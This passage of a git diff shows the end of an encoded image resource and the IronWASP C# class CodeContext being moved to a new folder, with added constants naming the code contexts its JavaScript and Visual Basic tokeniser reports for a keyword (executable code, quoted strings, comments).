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 + + + \ No newline at end of file diff --git a/IronWASP/CodeContext.cs b/Iron/CodeContext.cs similarity index 90% rename from IronWASP/CodeContext.cs rename to Iron/CodeContext.cs index 94d4edf..a8b400f 100644 --- a/IronWASP/CodeContext.cs +++ b/Iron/CodeContext.cs @@ -1,320 +1,334 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class CodeContext - { - char[] CodeChars; - int CharPointer = 0; - string Keyword = ""; - List CurrentTokenChars = new List(); - List Contexts = new List(); - - public CodeContext(string Code, string Keyword) - { - this.CodeChars = Code.ToCharArray(); - this.Keyword = Keyword; - this.CharPointer = 0; - } - - public static List GetJavaScriptContext(string Code, string Keyword) - { - CodeContext cc = new CodeContext(Code, Keyword); - return cc.GetJavaScriptContext(); - } - - public static List GetVisualBasicContext(string Code, string Keyword) - { - CodeContext cc = new CodeContext(Code, Keyword); - return cc.GetVisualBasicContext(); - } - - public List GetJavaScriptContext() - { - string NormalString = ""; - while(CharPointer < CodeChars.Length) - { - char CurrentChar = CodeChars[CharPointer]; - switch(CurrentChar) - { - case ('"'): - NormalString = new string(CurrentTokenChars.ToArray()); - CheckAndAddContext(NormalString, Keyword, "NormalString"); - CharPointer++; - ReadTill("\"", false, true); - string DoubleQuotedString = new string(CurrentTokenChars.ToArray()); - if (DoubleQuotedString.EndsWith("\"")) - { - CheckAndAddContext(DoubleQuotedString.TrimEnd('"'), Keyword, "DoubleQuotedString"); - } - else - { - CheckAndAddContext(DoubleQuotedString, Keyword, "NormalString"); - } - break; - case ('\''): - NormalString = new string(CurrentTokenChars.ToArray()); - CheckAndAddContext(NormalString, Keyword, "NormalString"); - CharPointer++; - ReadTill("'", false, true); - string SingleQuotedString = new string(CurrentTokenChars.ToArray()); - if(SingleQuotedString.EndsWith("'")) - { - CheckAndAddContext(SingleQuotedString.TrimEnd('\''), Keyword, "SingleQuotedString"); - } - else - { - CheckAndAddContext(SingleQuotedString, Keyword, "NormalString"); - } - break; - case ('/'): - if (CharPointer < CodeChars.Length - 1) - { - if (CodeChars[CharPointer + 1] == '/') - { - NormalString = new string(CurrentTokenChars.ToArray()); - CheckAndAddContext(NormalString, Keyword, "NormalString"); - CharPointer++; - ReadTill(new List { '\r', '\n' }, false, false); - string SingleLineComment = new string(CurrentTokenChars.ToArray()); - CheckAndAddContext(SingleLineComment, Keyword, "SingleLineComment"); - } - else if (CodeChars[CharPointer + 1] == '*') - { - NormalString = new string(CurrentTokenChars.ToArray()); - CheckAndAddContext(NormalString, Keyword, "NormalString"); - CharPointer++; - ReadTill("*/", true, false); - string MutliLineComment = (new string(CurrentTokenChars.ToArray())).Trim('/').Trim('*'); - CheckAndAddContext(MutliLineComment, Keyword, "MutliLineComment"); - } - else - { - CurrentTokenChars.Add(CurrentChar); - } - } - else - { - CurrentTokenChars.Add(CurrentChar); - } - break; - case ('\r'): - case ('\n'): - NormalString = (new string(CurrentTokenChars.ToArray())).Trim(); - CurrentTokenChars.Clear(); - CheckAndAddContext(NormalString, Keyword, "NormalString"); - break; - default: - CurrentTokenChars.Add(CurrentChar); - break; - } - CharPointer++; - } - NormalString = new string(CurrentTokenChars.ToArray()); - CheckAndAddContext(NormalString, Keyword, "NormalString"); - return Contexts; - } - - void CheckAndAddContext(string Value, string Keyword, string Context) - { - if (Value.Length == 0) return; - CurrentTokenChars.Clear(); - if (Value.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) - { - Contexts.Add(Context); - } - } - - public List GetVisualBasicContext() - { - string NormalString = ""; - while (CharPointer < CodeChars.Length) - { - char CurrentChar = CodeChars[CharPointer]; - switch (CurrentChar) - { - case ('"'): - NormalString = new string(CurrentTokenChars.ToArray()); - CheckAndAddContext(NormalString, Keyword, "NormalString"); - CharPointer++; - ReadTill("\"", false, true); - string DoubleQuotedString = new string(CurrentTokenChars.ToArray()); - if (DoubleQuotedString.EndsWith("\"")) - { - CheckAndAddContext(DoubleQuotedString.TrimEnd('"'), Keyword, "DoubleQuotedString"); - } - else - { - CheckAndAddContext(DoubleQuotedString, Keyword, "NormalString"); - } - break; - case ('\''): - NormalString = new string(CurrentTokenChars.ToArray()); - CheckAndAddContext(NormalString, Keyword, "NormalString"); - CharPointer++; - ReadTill(new List { '\r', '\n' }, false, false); - string SingleLineComment = new string(CurrentTokenChars.ToArray()); - CheckAndAddContext(SingleLineComment, Keyword, "SingleLineComment"); - break; - case ('\r'): - case ('\n'): - NormalString = (new string(CurrentTokenChars.ToArray())).Trim(); - CurrentTokenChars.Clear(); - CheckAndAddContext(NormalString, Keyword, "NormalString"); - break; - default: - CurrentTokenChars.Add(CurrentChar); - break; - } - CharPointer++; - } - NormalString = new string(CurrentTokenChars.ToArray()); - CheckAndAddContext(NormalString, Keyword, "NormalString"); - return Contexts; - } - - void ReadTill(List EndChars, bool IgnoreNewLines, bool CanEscapeNewLines) - { - if (CharPointer == CodeChars.Length) return; - char[] EscapableChars; - if (CanEscapeNewLines) - { - EscapableChars = new char[] { '\\', '\'', '"', '\r', '\n' }; - } - else - { - EscapableChars = new char[] { '\\', '\'', '"' }; - } - bool Read = true; - while (Read) - { - char CurrentChar = CodeChars[CharPointer]; - CurrentTokenChars.Add(CurrentChar); - if ((IsCharMatch(CurrentChar, '\r', EscapableChars) || IsCharMatch(CurrentChar, '\n', EscapableChars)) && !IgnoreNewLines) - { - Read = false; - } - else - { - foreach (char ec in EndChars) - { - if (IsCharMatch(ec, CurrentChar, EscapableChars)) - Read = false; - else - Read = true; - } - } - CharPointer++; - if (CharPointer >= CodeChars.Length) Read = false; - if (!Read) CharPointer--; - } - } - - void ReadTill(string EndStr, bool IgnoreNewLines, bool CanEscapeNewLines) - { - if (CharPointer == CodeChars.Length) return; - char[] EndChars = EndStr.ToCharArray(); - char[] EscapableChars; - if (CanEscapeNewLines) - { - EscapableChars = new char[] { '\\', '\'', '"', '\r', '\n' }; - } - else - { - EscapableChars = new char[] { '\\', '\'', '"' }; - } - bool Read = true; - while (Read) - { - char CurrentChar = CodeChars[CharPointer]; - CurrentTokenChars.Add(CurrentChar); - if ((IsCharMatch(CurrentChar, '\r', EscapableChars) || IsCharMatch(CurrentChar, '\n', EscapableChars)) && !IgnoreNewLines) - { - Read = false; - } - else - { - if (IsCharMatch(EndChars[0], CurrentChar, EscapableChars)) - { - if (CharPointer + EndStr.Length <= CodeChars.Length) - { - bool FullMatch = true; - for (int i = 0; i < EndChars.Length; i++) - { - if (EndChars[i] != CodeChars[CharPointer + i]) - { - FullMatch = false; - } - } - if (FullMatch) Read = false; - } - } - else - { - Read = true; - } - } - CharPointer++; - if (CharPointer >= CodeChars.Length) Read = false; - if (!Read) CharPointer--; - } - } - - bool IsCharMatch(char A, char B, char[] EscapableChars) - { - if (A == B) - { - if (CanBeEscaped(A, EscapableChars) && CharPointer > 0 && CodeChars[CharPointer - 1] == '\\') - { - return false; - } - else - { - return true; - } - } - return false; - } - - bool CanBeEscaped(char C, char[] EscapableChars) - { - foreach (char EC in EscapableChars) - { - if (C == EC) return true; - } - return false; - } - - public static List ToChars() - { - string Code = "a/*a"; - char[] Chars = Code.ToCharArray(); - List CharStr = new List(); - foreach (char c in Chars) - { - CharStr.Add(c.ToString()); - } - return CharStr; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class CodeContext + { + public const string NormalStringContext = "NormalString"; + public const string DoubleQuotedStringContext = "DoubleQuotedString"; + public const string SingleQuotedStringContext = "SingleQuotedString"; + public const string SingleLineCommentContext = "SingleLineComment"; + public const string MultiLineCommentContext = "MutliLineComment"; + + public static Dictionary ContextDescriptions = new Dictionary() { + {NormalStringContext, "Executable section of code"}, + {DoubleQuotedStringContext, "Inside double quotes"}, + {SingleQuotedStringContext, "Inside single quotes"}, + {SingleLineCommentContext, "Inside a single-line comment"}, + {MultiLineCommentContext, "Inside a multi-line comment"} + }; + + char[] CodeChars; + int CharPointer = 0; + string Keyword = ""; + List CurrentTokenChars = new List(); + List Contexts = new List(); + + public CodeContext(string Code, string Keyword) + { + this.CodeChars = Code.ToCharArray(); + this.Keyword = Keyword; + this.CharPointer = 0; + } + + public static List GetJavaScriptContext(string Code, string Keyword) + { + CodeContext cc = new CodeContext(Code, Keyword); + return cc.GetJavaScriptContext(); + } + + public static List GetVisualBasicContext(string Code, string Keyword) + { + CodeContext cc = new CodeContext(Code, Keyword); + return cc.GetVisualBasicContext(); + } + + public List GetJavaScriptContext() + { + string NormalString = ""; + while(CharPointer < CodeChars.Length) + { + char CurrentChar = CodeChars[CharPointer]; + switch(CurrentChar) + { + case ('"'): + NormalString = new string(CurrentTokenChars.ToArray()); + CheckAndAddContext(NormalString, Keyword, NormalStringContext); + CharPointer++; + ReadTill("\"", false, true); + string DoubleQuotedString = new string(CurrentTokenChars.ToArray()); + if (DoubleQuotedString.EndsWith("\"")) + { + CheckAndAddContext(DoubleQuotedString.TrimEnd('"'), Keyword, DoubleQuotedStringContext); + } + else + { + CheckAndAddContext(DoubleQuotedString, Keyword, NormalStringContext); + } + break; + case ('\''): + NormalString = new string(CurrentTokenChars.ToArray()); + CheckAndAddContext(NormalString, Keyword, NormalStringContext); + CharPointer++; + ReadTill("'", false, true); + string SingleQuotedString = new string(CurrentTokenChars.ToArray()); + if(SingleQuotedString.EndsWith("'")) + { + CheckAndAddContext(SingleQuotedString.TrimEnd('\''), Keyword, SingleQuotedStringContext); + } + else + { + CheckAndAddContext(SingleQuotedString, Keyword, NormalStringContext); + } + break; + case ('/'): + if (CharPointer < CodeChars.Length - 1) + { + if (CodeChars[CharPointer + 1] == '/') + { + NormalString = new string(CurrentTokenChars.ToArray()); + CheckAndAddContext(NormalString, Keyword, NormalStringContext); + CharPointer++; + ReadTill(new List { '\r', '\n' }, false, false); + string SingleLineComment = new string(CurrentTokenChars.ToArray()); + CheckAndAddContext(SingleLineComment, Keyword, SingleLineCommentContext); + } + else if (CodeChars[CharPointer + 1] == '*') + { + NormalString = new string(CurrentTokenChars.ToArray()); + CheckAndAddContext(NormalString, Keyword, NormalStringContext); + CharPointer++; + ReadTill("*/", true, false); + string MutliLineComment = (new string(CurrentTokenChars.ToArray())).Trim('/').Trim('*'); + CheckAndAddContext(MutliLineComment, Keyword, MultiLineCommentContext); + } + else + { + CurrentTokenChars.Add(CurrentChar); + } + } + else + { + CurrentTokenChars.Add(CurrentChar); + } + break; + case ('\r'): + case ('\n'): + NormalString = (new string(CurrentTokenChars.ToArray())).Trim(); + CurrentTokenChars.Clear(); + CheckAndAddContext(NormalString, Keyword, NormalStringContext); + break; + default: + CurrentTokenChars.Add(CurrentChar); + break; + } + CharPointer++; + } + NormalString = new string(CurrentTokenChars.ToArray()); + CheckAndAddContext(NormalString, Keyword, NormalStringContext); + return Contexts; + } + + void CheckAndAddContext(string Value, string Keyword, string Context) + { + if (Value.Length == 0) return; + CurrentTokenChars.Clear(); + if (Value.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) + { + Contexts.Add(Context); + } + } + + public List GetVisualBasicContext() + { + string NormalString = ""; + while (CharPointer < CodeChars.Length) + { + char CurrentChar = CodeChars[CharPointer]; + switch (CurrentChar) + { + case ('"'): + NormalString = new string(CurrentTokenChars.ToArray()); + CheckAndAddContext(NormalString, Keyword, "NormalString"); + CharPointer++; + ReadTill("\"", false, true); + string DoubleQuotedString = new string(CurrentTokenChars.ToArray()); + if (DoubleQuotedString.EndsWith("\"")) + { + CheckAndAddContext(DoubleQuotedString.TrimEnd('"'), Keyword, "DoubleQuotedString"); + } + else + { + CheckAndAddContext(DoubleQuotedString, Keyword, "NormalString"); + } + break; + case ('\''): + NormalString = new string(CurrentTokenChars.ToArray()); + CheckAndAddContext(NormalString, Keyword, "NormalString"); + CharPointer++; + ReadTill(new List { '\r', '\n' }, false, false); + string SingleLineComment = new string(CurrentTokenChars.ToArray()); + CheckAndAddContext(SingleLineComment, Keyword, "SingleLineComment"); + break; + case ('\r'): + case ('\n'): + NormalString = (new string(CurrentTokenChars.ToArray())).Trim(); + CurrentTokenChars.Clear(); + CheckAndAddContext(NormalString, Keyword, "NormalString"); + break; + default: + CurrentTokenChars.Add(CurrentChar); + break; + } + CharPointer++; + } + NormalString = new string(CurrentTokenChars.ToArray()); + CheckAndAddContext(NormalString, Keyword, "NormalString"); + return Contexts; + } + + void ReadTill(List EndChars, bool IgnoreNewLines, bool CanEscapeNewLines) + { + if (CharPointer == CodeChars.Length) return; + char[] EscapableChars; + if (CanEscapeNewLines) + { + EscapableChars = new char[] { '\\', '\'', '"', '\r', '\n' }; + } + else + { + EscapableChars = new char[] { '\\', '\'', '"' }; + } + bool Read = true; + while (Read) + { + char CurrentChar = CodeChars[CharPointer]; + CurrentTokenChars.Add(CurrentChar); + if ((IsCharMatch(CurrentChar, '\r', EscapableChars) || IsCharMatch(CurrentChar, '\n', EscapableChars)) && !IgnoreNewLines) + { + Read = false; + } + else + { + foreach (char ec in EndChars) + { + if (IsCharMatch(ec, CurrentChar, EscapableChars)) + Read = false; + else + Read = true; + } + } + CharPointer++; + if (CharPointer >= CodeChars.Length) Read = false; + if (!Read) CharPointer--; + } + } + + void ReadTill(string EndStr, bool IgnoreNewLines, bool CanEscapeNewLines) + { + if (CharPointer == CodeChars.Length) return; + char[] EndChars = EndStr.ToCharArray(); + char[] EscapableChars; + if (CanEscapeNewLines) + { + EscapableChars = new char[] { '\\', '\'', '"', '\r', '\n' }; + } + else + { + EscapableChars = new char[] { '\\', '\'', '"' }; + } + bool Read = true; + while (Read) + { + char CurrentChar = CodeChars[CharPointer]; + CurrentTokenChars.Add(CurrentChar); + if ((IsCharMatch(CurrentChar, '\r', EscapableChars) || IsCharMatch(CurrentChar, '\n', EscapableChars)) && !IgnoreNewLines) + { + Read = false; + } + else + { + if (IsCharMatch(EndChars[0], CurrentChar, EscapableChars)) + { + if (CharPointer + EndStr.Length <= CodeChars.Length) + { + bool FullMatch = true; + for (int i = 0; i < EndChars.Length; i++) + { + if (EndChars[i] != 